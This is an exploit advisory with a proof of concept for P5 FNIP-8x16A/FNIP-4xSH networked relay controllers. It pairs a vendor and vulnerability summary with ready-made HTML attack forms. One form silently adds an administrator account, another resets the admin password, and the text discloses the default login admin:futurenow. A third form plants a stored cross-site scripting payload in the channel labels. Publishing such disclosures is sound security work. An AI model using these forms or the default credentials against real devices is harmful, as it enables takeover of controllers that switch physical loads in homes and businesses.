P5 FNIP-8x16A/FNIP-4xSH CSRF / Cross Site Scripting

2020.04.21
Credit: LiquidWorm
Risk: Low
Local: No
Remote: Yes
CVE: N/A

<!-- P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting Vendor: P5 Product web page: https://www.p5.hu Affected version: 1.0.20, 1.0.11 Summary: The FNIP-8x16A is an eight channel relay module used for switching any type of load that doesn’t exceed the specifications. Via its built-in web site and TCP/IP communication, the outputs and inputs can be controlled and monitored from standard network capable devices such as computers, smartphones, web-tablets, etc. either locally or via the network. The module can be used independently or as part of a complex control system in residential and commercial installations. Desc: The controller suffers from CSRF and XSS vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to several GET/POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Linux CGI Vulnerabiity discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5564 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5564.php 29.01.2020 --> <!-- CSRF add admin user --> <html> <body> <form action="http://192.168.1.17:83/user.cgi" method="POST"> <input type="hidden" name="uno" value="1" /> <!-- User number (user1) --> <input type="hidden" name="un" value="testingus" /> <!-- Username --> <input type="hidden" name="role" value="2" /> <!-- 2: Admin, 1: Actor, 0: Observer --> <input type="hidden" name="enabled" value="1" /> <input type="hidden" name="pw" value="123456" /> <input type="hidden" name="pw2" value="123456" /> <input type="submit" value="Zubmit" /> </form> </body> </html> <!-- CSRF change admin password --> <html> <body> <form action="http://192.168.1.17:83/user.cgi" method="POST"> <input type="hidden" name="un" value="admin" /> <!-- Defaults: admin:futurenow --> <input type="hidden" name="pw" value="123456" /> <input type="hidden" name="pw2" value="123456" /> <input type="submit" value="Zubmit" /> </form> </body> </html> <!-- XSS modify labels --> <html> <body> <form action="http://192.168.1.17:83/config.html" method="POST"> <input type="hidden" name="lab1" value="Channel1" /> <input type="hidden" name="lab2" value="Channel2" /> <input type="hidden" name="lab3" value="Channel3" /> <input type="hidden" name="lab4" value='"><script>confirm(251)</script>' /> <input type="hidden" name="lab12" value="etc." /> <input type="submit" value="Zubmit" /> </form> </body> </html>


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